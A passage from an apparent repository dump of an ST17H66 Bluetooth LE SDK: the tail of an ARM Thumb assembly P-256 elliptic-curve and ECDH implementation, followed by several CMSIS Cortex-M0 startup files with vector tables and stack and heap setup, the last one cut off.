pop {r4-r7,pc} endif endp ; Adds or subtracts points in Jacobian form (integers are in Montgomery form) ; The first operand is located in r0, the second in r1 (may not overlap) ; The result is stored at r0 ; ; Requirements: ; - no operand is the point at infinity ; - both operand must be different ; - one operand must not be the negation of the other ; If requirements are not met, the returned Z point will be 0 P256_add_j proc if use_interpreter == 1 adr r2,P256_add_j_prog b P256_interpreter else push {r0,r1,r4-r7,lr} frame push {r4-r7,lr} frame address sp,28 ; Here a variant of ; https://www.hyperelliptic.org/EFD/g1p/auto-code/shortw/jacobian-3/addition/add-1998-cmo-2.op3 ; is used, but rearranged and uses less temporaries. ; The first operand to the function is both (X3,Y3,Z3) and (X2,Y2,Z2). ; The second operand to the function is (X1,Y1,Z1) ; Z1Z1 = Z1^2 sub sp,#32 frame address sp,60 mov r0,sp adds r1,#64 bl P256_sqrmod ; U2 = X2Z1Z1 ldr r1,[sp,#32] mov r2,sp mov r0,r1 bl P256_mulmod ; t1 = Z1Z1Z1 ldr r1,[sp,#36] adds r1,#64 mov r2,sp mov r0,sp bl P256_mulmod ; S2 = Y2t1 ldr r1,[sp,#32] adds r1,#32 mov r2,sp mov r0,r1 bl P256_mulmod ; Z2Z2 = Z2^2 sub sp,#32 frame address sp,92 mov r0,sp ldr r1,[sp,#64] adds r1,#64 bl P256_sqrmod ; U1 = X1Z2Z2 ldr r1,[sp,#68] mov r2,sp add r0,sp,#32 bl P256_mulmod ; t2 = Z2Z2Z2 ldr r1,[sp,#64] adds r1,#64 mov r2,sp mov r0,sp bl P256_mulmod ; S1 = Y1t2 ldr r1,[sp,#68] adds r1,#32 mov r2,sp mov r0,sp bl P256_mulmod ; H = U2-U1 ldr r1,[sp,#64] add r2,sp,#32 mov r0,r1 bl P256_submod ; HH = H^2 ldr r1,[sp,#64] sub sp,#32 frame address sp,124 mov r0,sp bl P256_sqrmod ; Z3 = Z2H ldr r2,[sp,#96] mov r1,r2 adds r1,#64 mov r0,r1 bl P256_mulmod ; Z3 = Z1Z3 ldr r1,[sp,#100] adds r1,#64 ldr r2,[sp,#96] adds r2,#64 mov r0,r2 bl P256_mulmod ; HHH = HHH ldr r1,[sp,#96] mov r2,sp mov r0,r1 bl P256_mulmod ; r = S2-S1 ldr r1,[sp,#96] adds r1,#32 add r2,sp,#32 mov r0,r1 bl P256_submod ; V = U1HH add r1,sp,#64 mov r2,sp mov r0,r1 bl P256_mulmod ; t3 = r^2 ldr r1,[sp,#96] adds r1,#32 mov r0,sp bl P256_sqrmod ; t2 = S1HHH add r1,sp,#32 ldr r2,[sp,#96] add r0,sp,#32 bl P256_mulmod ; X3 = t3-HHH mov r1,sp ldr r2,[sp,#96] mov r0,r2 bl P256_submod ; t3 = 2V add r1,sp,#64 add r2,sp,#64 mov r0,sp bl P256_addmod ; X3 = X3-t3 ldr r1,[sp,#96] mov r2,sp mov r0,r1 bl P256_submod ; t3 = V-X3 add r1,sp,#64 ldr r2,[sp,#96] mov r0,sp bl P256_submod ; t3 = rt3 ldr r1,[sp,#96] adds r1,#32 mov r2,sp mov r0,sp bl P256_mulmod ; Y3 = t3-t2 mov r1,sp add r2,sp,#32 ldr r0,[sp,#96] adds r0,#32 bl P256_submod add sp,#104 frame address sp,20 pop {r4-r7,pc} endif endp if use_interpreter == 1 align 4 P256_add_j_prog dcw 0x2080 dcw 0x1330 dcw 0x1080 dcw 0x1440 dcw 0x2150 dcw 0x1061 dcw 0x1151 dcw 0x1171 dcw 0x4330 dcw 0x2230 dcw 0x1553 dcw 0x1585 dcw 0x1332 dcw 0x4441 dcw 0x1002 dcw 0x2240 dcw 0x1113 dcw 0x4323 dcw 0x3200 dcw 0x4332 dcw 0x4203 dcw 0x1242 dcw 0x4421 dcw 0x0000 align 4 P256_double_j_prog dcw 0x2080 dcw 0x1578 dcw 0x3160 dcw 0x4060 dcw 0x1001 dcw 0x5100 dcw 0x3001 dcw 0x2100 dcw 0x2470 dcw 0x2240 dcw 0x1464 dcw 0x3344 dcw 0x4313 dcw 0x4143 dcw 0x1001 dcw 0x4402 dcw 0x0000 ; in: r0 = output, r1 = input P256_div2mod proc mov r9,r0 mov r7,r1 ldm r7!,{r0-r3} lsls r6,r0,#31 asrs r5,r6,#31 lsrs r6,#31 movs r4,#0 adds r0,r5 adcs r1,r5 adcs r2,r5 adcs r3,r4 push {r0-r3} frame address sp,76 ldm r7!,{r0-r3} adcs r0,r4 adcs r1,r4 adcs r2,r6 adcs r3,r5 movs r4,#0 adcs r4,r4 lsls r7,r4,#31 lsrs r6,r3,#1 orrs r7,r6 lsls r6,r3,#31 lsrs r5,r2,#1 orrs r6,r5 lsls r5,r2,#31 lsrs r4,r1,#1 orrs r5,r4 lsls r4,r1,#31 lsrs r3,r0,#1 orrs r4,r3 lsls r3,r0,#31 mov r0,r9 adds r0,#16 stm r0!,{r4-r7} mov r7,r3 pop {r0-r3} lsrs r6,r3,#1 orrs r7,r6 lsls r6,r3,#31 lsrs r5,r2,#1 orrs r6,r5 lsls r5,r2,#31 lsrs r4,r1,#1 orrs r5,r4 lsls r4,r1,#31 lsrs r3,r0,#1 orrs r4,r3 mov r0,r9 stm r0!,{r4-r7} bx lr endp ; in: r0 = op1, r1 = op2, r2 = program ; program is an array of 16-bit integers, ending with 0x0000 ; in an opcode, bit 12-15 is function to execute (exit, mul, sqr, add, sub, div2), ; bit 8-11 is dest, bit 4-7 is first operand, bit 0-3 is second operand ; the operand is encoded like this: ; operand 0-2 is temporary variable 0-2 ; operand 3-5 is op1[0], op1[1], op1[2] ; operand 6-8 is op2[0], op2[1], op2[2] ; each variable is 32 bytes ; for a function taking less than two parameters, the extra parameters are ignored P256_interpreter proc push {r4-r7,lr} frame push {r4-r7,lr} sub sp,#96 frame address sp,116 movs r3,#32 mov r4,r1 adds r5,r1,r3 adds r6,r5,r3 push {r4-r6} frame address sp,128 mov r4,r0 adds r5,r0,r3 adds r6,r5,r3 push {r4-r6} frame address sp,140 add r4,sp,#24 adds r5,r4,r3 adds r6,r5,r3 push {r4-r6} frame address sp,152 0 movs r4,#0x3c mov r5,sp ldrh r3,[r2] adds r2,#2 push {r2} frame address sp,156 lsls r2,r3,#2 ands r2,r4 ldr r2,[r5,r2] lsrs r1,r3,#2 ands r1,r4 ldr r1,[r5,r1] lsrs r0,r3,#6 ands r0,r4 ldr r0,[r5,r0] adr r5,P256_functions-4 lsrs r6,r3,#10 ands r6,r4 beq %f1 ldr r6,[r5,r6] blx r6 pop {r2} frame address sp,152 b %b0 1 frame address sp,156 add sp,#136 frame address sp,20 pop {r4-r7,pc} endp align 4 P256_functions dcd P256_mulmod ;1 dcd P256_sqrmod ;2 dcd P256_addmod ;3 dcd P256_submod ;4 dcd P256_div2mod ;5 endif if use_smaller_modinv == 1 ; in/out: r0-r7 P256_modinv proc push {r0-r7,lr} frame push {r4-r7,lr} frame address sp,36 sub sp,#36 frame address sp,72 mov r0,sp bl P256_load_1 mov r1,r0 bl P256_to_montgomery adr r0,P256_p ldm r0,{r0-r7} subs r0,#2 push {r0-r7} frame address sp,104 movs r0,#255 0 str r0,[sp,#64] add r0,sp,#32 add r1,sp,#32 bl P256_sqrmod ldr r0,[sp,#64] lsrs r1,r0,#3 add r1,r1,sp ldrb r1,[r1] movs r2,#7 ands r2,r2,r0 lsrs r1,r2 movs r2,#1 tst r1,r2 beq %f1 add r0,sp,#32 add r1,sp,#32 add r2,sp,#68 bl P256_mulmod 1 ldr r0,[sp,#64] subs r0,#1 bpl %b0 add sp,#32 frame address sp,72 pop {r0-r7} frame address sp,40 add sp,#36 frame address sp,4 pop {pc} endp else ; in: r0 = input/output, r1 = count, r2 = operand for final multiplication P256_sqrmod_many_and_mulmod proc push {r0,r2,lr} frame push {lr} frame address sp,12 cmp r1,#0 beq %f1 0 push {r1} frame address sp,16 ldr r0,[sp,#4] mov r1,r0 bl P256_sqrmod pop {r1} frame address sp,12 subs r1,#1 bne %b0 1 pop {r0,r1} frame address sp,4 mov r2,r0 bl P256_mulmod pop {pc} endp ; in: r0 = value in/out ; for modinv, call input a, then if a = A * R % p, then it calculates A^-1 * R % p = (a/R)^-1 * R % p = R^2 / a % p P256_modinv proc push {r0,lr} frame push {lr} frame address sp,8 ldm r0,{r0-r7} push {r0-r7} frame address sp,40 ; t = a^2a ldr r0,[sp,#32] movs r1,#1 mov r2,sp bl P256_sqrmod_many_and_mulmod ldr r0,[sp,#32] ldm r0,{r0-r7} push {r0-r7} frame address sp,72 ; a4_2 = a2_0^(2^2) ldr r0,[sp,#64] mov r1,r0 bl P256_sqrmod ldr r0,[sp,#64] mov r1,r0 bl P256_sqrmod ldr r0,[sp,#64] ldm r0,{r0-r7} push {r0-r7} frame address sp,104 ; a4_0 = a4_2a2_0 ldr r0,[sp,#96] mov r1,sp add r2,sp,#32 bl P256_mulmod add r0,sp,#32 ldr r1,[sp,#96] bl P256_copy32 ldr r7,[sp,#96] movs r4,#0 0 adr r2,P256_invtbl ldrsb r0,[r2,r4] adds r2,#1 ldrb r5,[r2,r4] lsls r6,r0,#2 bpl %f1 sub sp,#32 frame address sp,200 ; not always correct mov r0,sp mov r1,r7 bl P256_copy32 1 mov r0,r7 uxtb r1,r6 mov r2,r5 add r2,sp push {r4,r7} frame address sp,208 ; not always correct bl P256_sqrmod_many_and_mulmod pop {r4,r7} frame address sp,200 ; not always correct adds r4,#2 cmp r4,#22 bne %b0 add sp,#632+4 frame address sp,4 pop {pc} endp align 4 P256_invtbl dcb ((8-4)>>2) dcb 32 dcb ((16-8)>>2)+128 dcb 0 dcb (16>>2)+128 dcb 0 dcb (32>>2)+128 dcb 532 dcb (192-64)>>2 dcb 0 dcb (224-192)>>2 dcb 0 dcb (240-224)>>2 dcb 32 dcb (248-240)>>2 dcb 64 dcb (252-248)>>2 dcb 128 dcb (256-252)>>2 dcb 96 dcb 0 dcb 532 endif ; r0 = output affine montgomery/input jacobian montgomery P256_jacobian_to_affine proc push {r0,r4-r7,lr} frame push {r4-r7,lr} frame address sp,24 adds r0,#64 ldm r0,{r0-r7} if use_smaller_modinv == 0 push {r0-r7} frame address sp,56 mov r0,sp bl P256_modinv else bl P256_modinv push {r0-r7} frame address sp,56 endif mov r1,sp sub sp,#32 frame address sp,88 mov r0,sp bl P256_sqrmod add r1,sp,#32 mov r2,sp mov r0,r1 bl P256_mulmod mov r1,sp ldr r0,[sp,#64] mov r2,r0 bl P256_mulmod add r1,sp,#32 ldr r0,[sp,#64] adds r0,#32 mov r2,r0 bl P256_mulmod add sp,#68 frame address sp,20 pop {r4-r7,pc} endp ; performs r0 := abs(r0) P256_abs_int proc rsbs r2,r0,#0 asrs r3,r0,#31 ands r3,r2 asrs r2,#31 ands r0,r2 orrs r0,r0,r3 bx lr endp ; in: r0 = output, r1 = point, r2 = scalar, r3 = include y in result (1/0) ; out: r0 = 1 on success, 0 if invalid point or scalar P256_pointmult proc export P256_pointmult push {r4-r7,lr} frame push {r4-r7,lr} mov r4,r8 mov r5,r9 mov r6,r10 mov r7,r11 push {r0-r1,r4-r7} frame address sp,44 frame save {r8-r11},-36 sub sp,#256 frame address sp,300 lsls r6,r3,#16 ; load scalar into an aligned position add r0,sp,#32 mov r1,r2 bl P256_copy32_unaligned ; fail if scalar == 0 mov r0,sp bl P256_load_1 add r0,sp,#32 mov r1,sp bl P256_greater_or_equal_than bne %f1 0 add sp,#256+8 frame address sp,36 b %f10 frame address sp,300 1 ; fail if not (scalar < n) add r0,sp,#32 adr r1,P256_order bl P256_greater_or_equal_than subs r0,#1 beq %b0 ; select scalar if scalar is odd and -scalar mod n if scalar is even mov r0,sp add r1,sp,#32 ldr r2,[r1] movs r3,#1 ands r2,r3 eors r2,r3 add r6,r2 ; save original parity of scalar adr r3,P256_order bl P256_negate_mod_m_if ; stack layout (initially offset 768): ; 0-767: table of jacobian points P, 3P, 5P, ..., 15P ; 768-863: current point (in jacobian form) ; 864-927: scalar rewritten into 4-bit window, each element having an odd signed value ; 928-1023: extracted selected point from the table ; 1024-1027: output pointer ; 1028-1031: input point ; rewrite scalar into 4-bit window where every value is odd add r1,sp,#864-768 ldr r0,[sp] lsls r0,#28 lsrs r0,#28 movs r2,#1 mov r4,sp movs r5,#1 2 lsrs r3,r2,#1 ldrb r3,[r4,r3] lsls r7,r2,#31 lsrs r7,#29 lsrs r3,r7 lsls r3,#28 lsrs r3,#28 movs r7,#1 ands r7,r3 eors r7,r5 lsls r7,#4 subs r0,r7 strb r0,[r1] adds r1,#1 orrs r3,r5 mov r0,r3 adds r2,#1 cmp r2,#64 bne %b2 strb r0,[r1] ; load point into an aligned position ldr r1,[sp,#1028-768] sub sp,#384 frame address sp,684 sub sp,#384 frame address sp,1068 mov r0,sp bl P256_copy32_unaligned bl P256_copy32_unaligned ; fail if not x, y < p mov r0,sp adr r1,P256_p bl P256_greater_or_equal_than subs r0,#1 bne %f4 3 add sp,#384 frame address sp,684 add sp,#384 frame address sp,300 b %b0 frame address sp,1068 4 add r0,sp,#32 adr r1,P256_p bl P256_greater_or_equal_than subs r0,#1 beq %b3 ; convert basepoint x, y to montgomery form, ; and place result as first element in table of Jacobian points mov r0,sp mov r1,sp bl P256_to_montgomery add r0,sp,#32 add r1,sp,#32 bl P256_to_montgomery ; check that the basepoint lies on the curve mov r0,sp bl P256_point_is_on_curve cmp r0,#0 beq %b3 ; load montgomery 1 for Z add r0,sp,#64 bl P256_load_1 mov r1,r0 bl P256_to_montgomery ; temporarily calculate 2P add r0,sp,#796 mov r1,sp bl P256_double_j ; calculate rest of the table (3P, 5P, ..., 15P) add r4,sp,#96 movs r5,#7 5 mov r0,r4 add r1,sp,#796 bl P256_copy32 bl P256_copy32 bl P256_copy32 mov r0,r4 mov r1,r0 subs r1,#96 bl P256_add_j adds r4,#96 subs r5,#1 bne %b5 ; select the initial current point based on the first highest 4 scalar bits add r7,sp,#928 subs r7,#1 ldrb r0,[r7] subs r7,#1 sxtb r0,r0 bl P256_abs_int lsrs r2,r0,#1 add r0,sp,#768 mov r1,sp bl P256_select ; main loop iterating from index 62 to 0 of the windowed scalar add r5,sp,#864 6 movs r4,#4 7 add r0,sp,#768 mov r1,r0 bl P256_double_j subs r4,#1 bne %b7 ; select the point to add, and then add to the current point ldrb r0,[r7] subs r7,#1 sxtb r0,r0 lsrs r4,r0,#31 bl P256_abs_int lsrs r2,r0,#1 add r0,sp,#928 mov r1,sp bl P256_select add r0,sp,#960 mov r1,r0 mov r2,r4 adr r3,P256_p bl P256_negate_mod_m_if cmp r7,r5 bge %f8 ; see note below add r0,sp,#672 add r1,sp,#768 bl P256_double_j 8 add r0,sp,#768 add r1,sp,#928 bl P256_add_j cmp r7,r5 bge %b6 ; Note: ONLY for the scalars 2 and -2 mod n, the last addition will ; be an addition where both input values are equal. The addition algorithm ; fails for such a case (returns Z=0) and we must therefore use the doubling ; formula. Both values are computed and then the correct value is selected ; in constant time based on whether the addition formula returned Z=0. ; Obviously if the scalar (private key) is properly randomized, this would ; (with extremely high probability), never occur. mov r0,sp bl P256_load_1 add r0,sp,#768+64 mov r1,sp bl P256_greater_or_equal_than adds r2,r0,#6 add r0,sp,#928 add r1,sp,#96 bl P256_select add sp,#464 ;928/2 frame address sp,604 add sp,#464 frame address sp,140 mov r0,sp bl P256_jacobian_to_affine mov r0,sp mov r1,sp bl P256_from_montgomery add r0,sp,#32 add r1,sp,#32 bl P256_from_montgomery add r0,sp,#32 add r1,sp,#32 uxtb r2,r6 adr r3,P256_p bl P256_negate_mod_m_if ldr r0,[sp,#96] mov r1,sp bl P256_copy32_unaligned lsrs r6,#16 beq %f9 bl P256_copy32_unaligned 9 movs r0,#1 add sp,#96+8 frame address sp,36 10 pop {r4-r7} frame address sp,20 mov r8,r4 mov r9,r5 mov r10,r6 mov r11,r7 pop {r4-r7,pc} endp ; in: r0 = output, r1 = private key scalar ; out: r0 = 1 on success, 0 if scalar is out of range P256_ecdh_keygen proc export P256_ecdh_keygen mov r2,r1 adr r1,P256_basepoint movs r3,#1 b P256_pointmult endp ; in: r0 = output, r1 = other's public point, r2 = private key scalar ; out: r0 = 1 on success, 0 if invalid public point or private key scalar P256_ecdh_shared_secret proc export P256_ecdh_shared_secret movs r3,#0 b P256_pointmult endp align 4 P256_p dcd 0xffffffff dcd 0xffffffff dcd 0xffffffff dcd 0 dcd 0 dcd 0 dcd 1 dcd 0xffffffff P256_order dcd 0xFC632551 dcd 0xF3B9CAC2 dcd 0xA7179E84 dcd 0xBCE6FAAD dcd 0xFFFFFFFF dcd 0xFFFFFFFF dcd 0 dcd 0xFFFFFFFF P256_basepoint dcd 0xD898C296 dcd 0xF4A13945 dcd 0x2DEB33A0 dcd 0x77037D81 dcd 0x63A440F2 dcd 0xF8BCE6E5 dcd 0xE12C4247 dcd 0x6B17D1F2 dcd 0x37BF51F5 dcd 0xCBB64068 dcd 0x6B315ECE dcd 0x2BCE3357 dcd 0x7C0F9E16 dcd 0x8EE7EB4A dcd 0xFE1A7F9B dcd 0x4FE342E2 end
17HXX/BLE5_ST17H66	8,652	ST17H66_SDK_3.0.9/example/ble_multi/simpleBleMultiConnection/RTE/Device/ARMCM0/startup_ARMCM0.s	;/************************************************************************// ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V5.00 ; * @date 02. March 2016 ; *****************************************************************************/ ;/ ; * Copyright (c) 2009-2016 ARM Limited. All rights reserved. ; * ; * SPDX-License-Identifier: Apache-2.0 ; * ; * Licensed under the Apache License, Version 2.0 (the License); you may ; * not use this file except in compliance with the License. ; * You may obtain a copy of the License at ; * ; * www.apache.org/licenses/LICENSE-2.0 ; * ; * Unless required by applicable law or agreed to in writing, software ; * distributed under the License is distributed on an AS IS BASIS, WITHOUT ; * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; * See the License for the specific language governing permissions and ; * limitations under the License. ; / ;/ ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000100 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA \|.text\|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END
17HXX/BLE5_ST17H66	3,101	ST17H66_SDK_3.0.9/example/ble_peripheral/simpleBlePeripheral/RTE/Device/ARMCM0/startup_ARMCM0.s	;/************************************************************************// ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V5.00 ; * @date 02. March 2016 ; *****************************************************************************/ ;/ ; * Copyright (c) 2009-2016 ARM Limited. All rights reserved. ; * ; * SPDX-License-Identifier: Apache-2.0 ; * ; * Licensed under the Apache License, Version 2.0 (the License); you may ; * not use this file except in compliance with the License. ; * You may obtain a copy of the License at ; * ; * http://www.apache.org/licenses/LICENSE-2.0 ; * ; * Unless required by applicable law or agreed to in writing, software ; * distributed under the License is distributed on an AS IS BASIS, WITHOUT ; * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; * See the License for the specific language governing permissions and ; * limitations under the License. ; / ;/ ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000200 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA \|.text\|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP Default_Handler PROC B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END
17HXX/BLE5_ST17H66	9,655	ST17H66_SDK_3.0.9/example/ble_peripheral/HIDKeyboard/RTE/Device/ARMCM0/startup_ARMCM0.s	;/************************************************************************// ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; *****************************************************************************/ ;/ Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------/ ;/ ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000C00 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN 